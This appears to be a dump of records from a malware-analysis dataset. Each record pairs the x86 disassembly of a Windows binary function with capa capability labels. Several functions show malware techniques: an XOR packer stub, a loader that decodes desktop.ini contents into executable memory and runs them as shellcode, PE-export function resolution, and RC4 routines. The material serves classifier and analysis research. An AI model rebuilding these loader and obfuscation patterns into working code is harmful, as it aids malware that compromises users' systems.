joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1009435e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100943fb
push ebx
push esi
call fcn.10094327
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100932ed
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100943a8
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100943fa
push edi
push eax
call fcn.1008c926
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100943c8
call fcn.1008abd2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100943f9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100932ed
add esp, 0x20
test eax, eax
jne 0x100943e7
push edi
call fcn.1008abd2
jmp 0x100943ef
push ebx
call fcn.1008abd2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100943fe
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1009440f
pop esi
ret
push ebx
push edi
push esi
call fcn.10094327
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1008c926
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10094437
push ebx
push esi
push edi
call fcn.10079aa0
add esp, 0xc
push 0
call fcn.1008abd2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10094807
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1009444c

Function at 0x10096b60
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1008af76
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10096bcf
cmp esi, dword [ebp - 4]
je 0x10096bca
cmp dword [ebp + 0xc], 0
je 0x10096bca
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10096ba7
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.100966b2
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10096bd1
xor eax, eax
inc eax
jmp 0x10096bd1
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10096c36
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100c0040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1008af76
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1008af76
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10096cad
cmp word [ecx], dx
je 0x10096cad
mov eax, dword [0x100a4da4]
push edi
dec eax
push eax
push 0x100a4c90
call fcn.10096bd5
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x10096d20
cmp word [eax], dx
je 0x10096d20
mov eax, dword [edi]
test eax, eax
je 0x10096cd1
cmp word [eax], dx
je 0x10096cd1
lea eax, [ebp - 0x10]
push eax
call fcn.100965b8
jmp 0x10096cda
lea eax, [ebp - 0x10]
push eax
call fcn.10096653
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10096d4a
mov eax, dword [0x100a4c8c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x100a4980
call fcn.10096bd5
add esp, 0xc
test al, al
je 0x10096d4a
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x10096d15
cmp word [eax], di
je 0x10096d15
lea eax, [ebp - 0x10]
push eax
call fcn.100965b8
pop ecx
jmp 0x10096d4c
lea eax, [ebp - 0x10]
push eax
call fcn.10096653
jmp 0x10096d12
mov eax, dword [edi]
test eax, eax
je 0x10096d37
cmp word [eax], dx
je 0x10096d37
lea eax, [ebp - 0x10]
push eax
call fcn.1009656d
pop ecx
jmp 0x10096d4a
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x10096e15
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10096a5a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10096e15
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x10096e15
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x10096e15
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10096da2
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1008f9d3
test ebx, ebx
je 0x10096e10
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1008f9d3
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10096e15
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10096e15
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.10099e2f
add esp, 0x10
xor eax, eax
inc eax
jmp 0x10096e17
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100751eb
leave
ret
Function at 0x1009bc80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1009bcad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1009bcad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x40de38
mov ecx, 0x6ce66b99
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x1b981b41
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x1000d7bf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10149d88]
jne 0x1000d7c9
repz ret
jmp fcn.1000f78b

Function at 0x1001269b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000d8d6
and dword [ebp - 4], 0
cmp dword [0x1014b620], 0
mov ebx, eax
jne 0x1001274c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100127fd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x100127fd
push eax
call fcn.1000d864
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1014b620], eax
call esi
push eax
call fcn.1000d864
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1014b624], eax
call esi
push eax
call fcn.1000d864
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1014b628], eax
call esi
push eax
call fcn.1000d864
pop ecx
mov dword [0x1014b630], eax
test eax, eax
je 0x1001274c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000d864
pop ecx
mov dword [0x1014b62c], eax
mov eax, dword [0x1014b62c]
cmp eax, ebx
je 0x100127a4
cmp dword [0x1014b630], ebx
je 0x100127a4
push eax
call fcn.1000d8df
push dword [0x1014b630]
mov esi, eax
call fcn.1000d8df
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100127a4
test edi, edi
je 0x100127a4
call esi
test eax, eax
je 0x1001279b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001279b
test byte [ebp - 0xc], 1
jne 0x100127a4
or dword [ebp + 0x10], 0x200000
jmp 0x100127dd
mov eax, dword [0x1014b624]
cmp eax, ebx
je 0x100127dd
push eax
call fcn.1000d8df
pop ecx
test eax, eax
je 0x100127dd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x100127dd
mov eax, dword [0x1014b628]
cmp eax, ebx
je 0x100127dd
push eax
call fcn.1000d8df
pop ecx
test eax, eax
je 0x100127dd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1014b620]
call fcn.1000d8df
pop ecx
test eax, eax
je 0x100127fd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100127ff
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001cff8
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x10149808]
add eax, 0xfffffa06
mov dword [0x10149808], eax
call fcn.1000107f
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x1001d06b
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x1001d0fb
mov eax, dword [esp + 0x18]
mov dword [esp + 0x24], eax
jmp 0x1001d026
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x14], ecx
je 0x1001d113
jmp 0x1001d030
lea eax, [esp + 0x38]
mov dword [0x10149808], 0x9a4
mov dword [esp + 0x10], eax
call fcn.1001d4f8
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
jne 0x1001d047
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.1001cd36
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x78], 0x129a00
mov ecx, dword [0x101497f4]
mov dword [esp + 0x7c], ecx
mov ecx, dword [0x101497f8]
mov dword [esp + 0x54], ecx
mov ecx, dword [0x101497fc]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0xc], eax
lea eax, [0x1001e251]
mov ecx, dword [0x10149800]
mov dword [esp + 0x88], ecx
mov ecx, dword [0x10149804]
mov dword [esp + 0x84], ecx
mov dword [0x10149808], 0x23d2
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
je 0x1001d051
jmp 0x1001d030
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x4c], ecx
mov dword [0x10149808], 0xe35
mov edx, dword [esp + 0x14]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x58], esi
mov dword [0x1014980c], 0xd85
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1001dcb4
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x18], eax
jmp 0x1001d047
Function at 0x1001d21d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov ecx, dword [0x1014980c]
add ecx, 0xffffe562
mov dword [0x1014980c], ecx
mov dword [0x10149808], 0x21c4
mov dword [ebp - 0x10], eax
call fcn.1001dde7
xor ecx, ecx
mov edx, eax
mov esi, dword [0x10149808]
mov edi, dword [eax + 0x3c]
add esi, 0xfffff9f5
mov dword [0x1014980c], esi
mov edi, dword [eax + edi + 0x78]
mov dword [0x10149808], 0x923
mov ebx, edx
add ebx, dword [eax + edi + 0x20]
mov eax, dword [eax + edi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ecx
je 0x1001d3aa
jmp 0x1001d2ad
mov al, byte [ebp - 0x29]
test al, 1
jne 0x1001d37d
jmp 0x1001d348
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
xor esi, esi
add ecx, 0xffffe562
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + edx*4]
mov dword [0x1014980c], ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x40]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x29], cl
je 0x1001d29d
mov al, byte [ebp - 0x51]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x50]
add edx, 1
mov ah, byte [ebp - 0x29]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x4c], edx
jne 0x1001d2f1
jmp 0x1001d29d
mov eax, dword [ebp - 0x3c]
add eax, 2
mov dword [ebp - 0x58], eax
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov esi, dword [ebp - 0x48]
mov edi, dword [ebp - 0x58]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], eax
jb 0x1001d2c5
jmp 0x1001d3aa
mov eax, dword [ebp - 0x3c]
movzx ecx, word [eax]
mov dword [0x10149808], 0x1c0e
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x1014980c], 0x26b
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1001d3b5
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x1014980c]
add edi, 0xfffff43e
mov dword [0x1014980c], edi
mov dword [0x10149814], 0
mov byte [0x10149818], 0
mov dword [0x10149810], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1001d427
xor eax, eax
mov ecx, dword [0x10149808]
add ecx, 0xffe
mov dword [0x10149808], ecx
mov dword [0x10149810], 0
mov dword [ebp - 0x20], eax
jmp 0x1001d44f
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10149810]
add eax, 1
mov dword [0x10149810], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1001d427
jmp 0x1001d404
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x1014981c], 0
mov edi, dword [0x10149814]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1014981c], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x10149814], edx
mov dword [0x10149808], 0x10e8
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x10149818], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x10149818]
mov esi, dword [0x10149814]
mov byte [ebx + esi], cl
mov dword [0x10149808], 0x1c26
mov esi, dword [0x10149810]
add esi, 1
mov dword [0x10149810], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1001d44f
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1001d4f8
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [0x10149808], 0x16be
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1001d5a7
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1001d5ec
jmp 0x1001d55c
mov dword [0x10149808], 0x244
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1001d52e
xor eax, eax
mov dword [0x10149808], 0x11d6
mov dword [ebp - 0x18], eax
jmp 0x1001d5bf
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
je 0x1001d5bf
jmp 0x1001d55c
mov dword [0x10149808], 0x14c0
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jge 0x1001d5c7
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x1001d5c7
jmp 0x1001d586
mov eax, dword [ebp - 0x18]
add esp, 0x20
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov dword [0x1014980c], 0x8ca
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
je 0x1001d543
jmp 0x1001d55c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1001d55c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1001d55c
mov dword [0x10149808], 0x216e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1001d56d
jmp 0x1001d55c
Function at 0x1001da0e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, 0x2d17
mov dword [0x10149810], 0
mov dword [0x10149814], 0
mov dword [0x10149820], 0
mov dword [0x10149808], 0x37e5
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
jne 0x1001da9d
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xfffff546
mov ecx, dword [0x10149810]
mov edx, dword [0x10149814]
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
add eax, 1
mov ebx, ecx
add ebx, 1
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x10149810], edx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x34]
mov dword [0x10149808], ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ecx + edx]
add ecx, esi
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x10149814], edx
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x10149818], cl
mov dword [0x10149808], 0x2339
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x1014980c]
add edx, 0xffffe986
mov dword [0x10149808], edx
mov cl, byte [0x10149818]
mov edx, dword [0x10149814]
mov byte [edi + edx], cl
mov edx, dword [0x10149810]
movzx edx, byte [edi + edx]
mov ecx, dword [0x10149814]
movzx ecx, byte [edi + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x10149820], ecx
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x38]
mov dl, byte [edx + esi]
xor dl, byte [edi + ecx]
mov ecx, dword [ebp - 0x20]
mov byte [ecx + esi], dl
mov dword [0x10149808], 0x14
mov ecx, dword [ebp - 0x10]
cmp ebx, ecx
mov dword [ebp - 0x30], ebx
je 0x1001da75
jmp 0x1001da7d
Function at 0x1001dcb4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x10149808], 0x569
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x1001dcf1
mov eax, dword [ebp - 0x30]
add eax, 0x131b
mov dword [0x10149808], 0xe55
mov dword [ebp - 0x34], eax
jmp 0x1001dddf
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + str.t_6T]
mov dl, byte [eax + 0x10141291]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x1001dcf1
lea eax, [ebp - 0x20]
mov dword [0x10149808], 0x1032
mov dword [ebp - 0x38], eax
call fcn.1001d634
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.1001e002
xor ecx, ecx
mov dword [0x10149808], 0x1220
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], ecx
je 0x1001dddf
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x30], eax
call fcn.1001db7e
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov word [ecx], 0x5a4d
mov dword [0x1014980c], 0x19fb
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x54], ecx
mov ecx, dword [ebp - 0x30]
mov dword [edx + 0x30], ecx
mov dword [0x10149808], 0x8cf
cmp ecx, 0
mov dword [ebp - 0x34], eax
jne 0x1001dcd7
mov eax, dword [ebp - 0x34]
add esp, 0x4c
pop ebp
ret